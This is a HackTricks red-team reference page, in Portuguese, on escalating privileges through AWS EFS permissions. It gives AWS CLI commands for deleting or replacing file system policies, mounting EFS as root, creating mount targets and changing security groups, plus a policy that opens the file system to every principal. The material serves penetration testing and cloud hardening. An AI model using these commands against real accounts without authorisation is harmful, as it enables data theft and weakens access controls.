AWS - EFS Privesc

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

EFS

Mais informações sobre EFS em:

pageAWS - EFS Enum

Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo, no entanto, se estiver protegido por políticas IAM, você precisa ter as permissões extras mencionadas aqui para acessá-lo.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Com qualquer uma dessas permissões, um atacante pode alterar a política do sistema de arquivos para dar acesso a você a ele, ou simplesmente excluí-lo para que o acesso padrão seja concedido.

Para excluir a política:

aws efs delete-file-system-policy \
--file-system-id <value>

Para alterar isso:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Com essa permissão, um invasor poderá montar o EFS. Se a permissão de escrita não for concedida por padrão a todos que podem montar o EFS, ele terá apenas acesso de leitura.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

As permissões adicionais elasticfilesystem:ClientRootAccess e elasticfilesystem:ClientWrite podem ser usadas para escrever dentro do sistema de arquivos após ele ser montado e para acessar esse sistema de arquivos como root.

Impacto Potencial: Escalação de privilégios indireta ao localizar informações sensíveis no sistema de arquivos.

elasticfilesystem:CreateMountTarget

Se um atacante estiver dentro de uma sub-rede onde nenhum alvo de montagem do EFS existe, ele poderia simplesmente criar um em sua sub-rede com esse privilégio:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Impacto Potencial: Privesc indireto ao localizar informações sensíveis no sistema de arquivos.

elasticfilesystem:ModifyMountTargetSecurityGroups

Em um cenário em que um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas nenhum grupo de segurança está permitindo o tráfego, ele poderia simplesmente alterar isso modificando os grupos de segurança selecionados:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Impacto Potencial: Privesc indireto ao localizar informações sensíveis no sistema de arquivos.

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Última actualización